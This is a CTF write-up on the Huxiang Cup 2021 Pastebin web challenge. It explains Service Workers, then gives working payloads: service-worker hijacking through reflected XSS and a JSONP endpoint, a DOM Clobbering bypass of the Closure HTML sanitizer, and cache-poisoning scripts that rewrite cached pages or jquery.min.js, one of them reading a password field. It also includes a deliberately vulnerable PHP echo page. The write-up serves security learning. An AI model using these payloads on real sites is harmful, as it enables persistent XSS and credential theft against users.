Huxiang cup 2021 Pastebin recurrence learning

Huxiang cup 2021 Pastebin recurrence learning

1, Introduction to Service Worker

Service Worker can be understood as a proxy server between the client and the server. When a Service Worker is registered in the website, it can intercept the request and judge whether to send the request to the server or directly return it to the client through the cache according to the program defined by the developer.

The following is a simple implementation of the Service Worker:

# index.html
<script>
        if('serviceWorker' in navigator){
            window.addEventListener('load',function(){
                navigator.serviceWorker.register('./ws.js',{scope: './'})
                .then(function (registration) {
                    console.log('serviceWorker registered')
                  })
                .catch(function (err) {
                    console.log('serviceWorker regist failed')
                })
            })
        }
</script>

Briefly explain the code: first judge whether the browser supports Service Worker, then create a Service Worker, and specify its executed code and scope. The content represented by the scope is to intercept all requests under the specified directory. After the creation is successful, then will be executed, otherwise catch will be executed.

When creating a Service Worker, the running code is specified, which can be specified in the form of file or executed directly in the form of code. Next we're at WS Cache rule code defined in JS:

this.addEventListener('install',function(event){
    event.waitUntil(
        caches.open('m1sn0w').then(function (cache) { 
            return cache.addAll([
                './index.html'
            ])
         })
    )
})

this.addEventListener('fetch',function (event) {
    event.respondWith(
        new Response('m1sn0w',{headers: {'Content-Type':'text/html'}})
    )
    
})

This file defines two events, one is the install event, and the other is the fetch event. The install event is generally used to set the cache logic of the browser, which can specify the resource path file to cache, and the fetch event is the action taken after intercepting the request, such as the direct page above, with the content of m1sn0w. In the subsequent XSS persistence utilization, the event fetch is mainly used.

2, Hijack Service Worker

Suppose there is a reflective XSS exploit point, for example:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="./index.php" method="POST" >
        <input type="text" name="xss" />
        <input type="submit" name="submit" value="Submit" />
    </form>
    <?php
        if(isset($_POST['xss'])){
            echo $_POST['xss'];
        }
?>
</body>
</html>

If you want to hijack a Service Worker, you also need a jsonp in the same domain environment, because when you subsequently construct a fetch event, you need this jsonp to return the constructed code and be regarded as the executed code. For example, I give a jsonp in the same domain environment (in fact, you only need to return the data of the GET request):

# evil.js
<?php
	header('Content-type: text/javascript');
    $callback=$_GET['callback'];
    echo $callback;
?>

Here we need to return the header information as text/javascript, because the code we need to return is treated as JS. Then we construct the following Payload and specify the cache path as/ m1sn0w /, submit via POST:

<script>
navigator.serviceWorker.register('./evil.php?callback=onfetch=function(e){console.log(1);e.respondWith(new Response("m1sn0w",{headers: {"Content-Type":"text/html"}}))}',{scope: './m1sn0w/'})
</script>

After that, if I visit any file in the / m1sn0w / directory, the m1sn0w character will be returned. (whether the file exists or not)

3, Huxiang cup Pastebin

Here we will only explore the two front-end knowledge points involved, one is DOM Clobbering, and the other is polluting service workers to persist XSS.

1. DOM Clobbering bypass validation function

The first is the first vulnerability, DOM Clobbering. Let's debug and analyze the whole chain according to the payload:

# payload
<form><input name=removeChild></form><img src=x onerror=alert(1337)>

Before that, briefly analyze the front-end verification code:

async function do_things(id) {
    try {
        var html = await get(id);
        var doc = new DOMParser().parseFromString(html, "text/html");
        if(doc.querySelectorAll("math").length !== 0 || doc.querySelectorAll("svg").length !== 0 || doc.querySelectorAll("base").length !== 0 || doc.querySelectorAll("object").length !== 0){
            console.log("filtered");
            return "<b>Your paste have been filtered</b>";
        }
        html = safepaste.sanitize(html);
    } catch(e) {
        // fetch failed
        console.log(e)
    }
    return html;
}

Try is used here Catch statement, but it does not end the program in the catch statement, that is, after catch, the program will still return html variables. So the idea here is to trigger an error in the try statement block to escape the sanitize function. After context analysis, we can know that html variables are under our control.

Through debugging and code analysis, it will eventually call (new Google. html. Sanitizer. Htmlsanitizer) sanitize(a);, The a variable is the controlled html variable. Continue to follow up the sanitize (a) code, which will be processed by the following function: this processToString(a)–>this. processToTree(a)–>goog. dom. removeChildren(d).

Variable a does some processing in the processToTree function, that is, it converts the string into an html tag. Then we get the parent tag of the whole tag, that is, the outermost tag object, and assign it to the d variable.

Then the d variable is passed to Google dom. Removechildren function. Let's see the specific implementation of this function:

goog.dom.removeChildren = function(a) {
    for (var b; b = a.firstChild; ) {
        a.removeChild(b)
    }
}

Since the variable passed in here is a label object, it is easy to see that there are vulnerabilities if you understand DOM Clobbering. For example, if the incoming data is a < form > tag, and the name value of its child tag element input is removeChild, then a.removeChild above represents the tag object < input > instead of a function. Therefore, an error will be reported in the end.

I added a console here Log output variable, final console output < input > tag object:

Therefore, when we finally construct the payload, we only need to add < form > < input name = removechild > < / form > in front to escape the detection of the verification function, and then we can construct the xss utilization code.

2. Modify Service Worker cache

The second test point of this question is to pollute the Service Worker to persist XSS. Not to mention why persistence is needed here, let's simply learn this knowledge point. The author gave a paper, https://swcacheattack.secpriv.wien/ , we first make an understanding and analysis of the contents of the paper.

The attack idea given in this article is to use xss vulnerability to pollute the Service Worker cache, and then modify some static data in the cache. When the user visits the page again, due to the existence of the Service Worker cache, the cached data will be directly returned to the user. Because these cached data have been modified, the purpose of attacking users has been achieved.

Let's make a simple analysis of the payload given in the article:

(async () => {
    let p = `<script>document.querySelector('#col-add button').addEventListener('click', (event) => {alert('Password stolen: ' + document.querySelector('#col-add input[type="password"]').value);});</script>`;
    let t = '/safenotes/';
    let c = await caches.open('static');
    let r = await c.match(t);
    let rt = await r.text();
    await c.put(t, 
      new Response(rt.replace('</body>', p + '</body>'), {
        status: 200,
        statusText: 'OK',
        headers: r.headers
      })
    );
})();

Here are caches Open is used to open the static cache space, and then use match to find the cache file. The file found here is shown in the figure:

Next, it reads out the contents of the file, inserts the constructed payload code into the file contents, and writes the updated file contents to the cache space again. Let's briefly analyze the attack method. The premise of the attack is that there is an XSS vulnerability point, and then the website originally opened the Service Worker cache. XSS vulnerability is exploited to replace the contents of the cache file, so as to achieve the purpose of attack.

Returning to this topic, we can find out which files are cached by checking the cache space:

The next way is to modify the cache file, such as jQuery Min.js, when there is a place to introduce this file, it will trigger us to modify the xss malicious code added.

<script>
(async () => {
    let e = "/jquery.min.js", 
        t = await caches.open("static-resources"), 
        a = await t.match(e), 
        s = await a.text();
    await t.put(e, new Response(s.replace("jQuery=C.$=S),S});",
        `jQuery=C.$=S),S});alert('xss');`),  
        {
            status: 200,
            statusText: "OK",
            headers: a.headers
        }))
})();
</script>

A demo is simply built locally to test this attack example. Where there are xss vulnerabilities, enter the above payload, which will cause the Jquery cache file content to change. When we visit the page with Jquery imported again, the xss box will pop up.

The next use of this problem is to analyze the behavior of the bot program, then modify the action attribute value, and finally take the flag data out to get the flag value.

Reference article:

https://www.freebuf.com/articles/web/306014.html

Keywords: Javascript Front-end Vue.js security Web Security

Added by ashutosh.titan on Wed, 05 Jan 2022 16:08:44 +0200